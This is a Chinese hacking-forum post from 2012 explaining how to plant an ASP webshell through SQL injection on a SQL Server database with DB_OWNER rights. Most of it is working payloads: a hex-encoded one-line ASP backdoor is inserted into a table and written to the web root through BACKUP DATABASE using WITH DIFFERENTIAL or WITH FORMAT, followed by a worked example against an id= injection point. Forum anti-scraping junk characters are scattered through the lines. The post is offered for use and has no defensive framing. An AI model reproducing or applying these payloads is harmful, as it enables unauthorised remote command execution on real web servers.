找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2635|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:
; E4 |) Q7 U+ _9 o- M' l& ]
" c5 P: [& K3 C+ ?' @" }6 J减少备份文件大小,得到可执行的webshell成功率提高不少& c  J1 A9 b% K$ F: m
一利用差异备份- l" L4 ]1 Y( b! Y
加一个参数WITH DIFFERENTIAL" ^. R8 v1 Q9 G$ V4 s) d+ K

+ G) O. x& h  n1
0 Q. E- t8 i# i6 |7 e; @# r* h# `2
2 E( R4 u/ G, h' n; F34 v- f+ b: Q# Q; |( H* P
4
2 i4 y, K! r' U! U. ], h% J declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
8 B) o* U/ \9 @2 Qcreate table [dbo].[xiaolu] ([cmd] [image]);
: o& T; F" R! d4 F4 }+ Dinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)1 ^- `; }" M6 \! r2 M- f8 B, ^
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
1 }# k9 q1 E; u3 e' y- v& Q
6 F3 O  p7 ]3 Y4 v二利用完全FORMAT
* ?  \: R# X7 M: M加一个参数WITH FROMAT
+ S7 P* {0 `* S1 c+ K! R) A有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以6 L9 Z  H* C" c& b- F- }1 \' |

+ V" k  m7 z1 G& U5 E) w1
8 m: e( ~" P; n' \: I- n7 x8 G2& q. [5 z) g% i" E- c% g
3, g3 N0 h! [# U; a; C  n
47 M' q, `& c2 ^8 {6 f
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
  V8 ~5 ?1 P( N. ^create table [dbo].[xiaolu] ([cmd] [image]);; i1 h) m: b2 I
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
9 C0 e0 P, y; O, M$ D1 ]4 }. \declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT 9 t; y7 }8 Q; D* @8 _" v
3 c$ Z- n; E& ~6 G( z1 R7 ?
总的来说就是那么简单几句,下面以备份数据库model为例子' G: T4 ]( s' H! m' i: H
1
4 y) W2 K# E+ I" \4 P
9 T# C/ ^6 Y9 I* D4 Y1 U; }1 P1
( p4 }6 n9 c& o3 Z) B id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') " k/ D6 v6 _0 v8 _1 J0 T7 T) r' p" j

3 H/ u- F/ V% v2+ C' ]& h& F% S3 b8 i% e/ G- \: e

2 o' A9 b+ j1 [13 [& f2 c( y4 r
id=1;backup database model to disk='你的路径‘ with differential,format;--
" u( h% Q9 ?+ n6 I* y3 \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表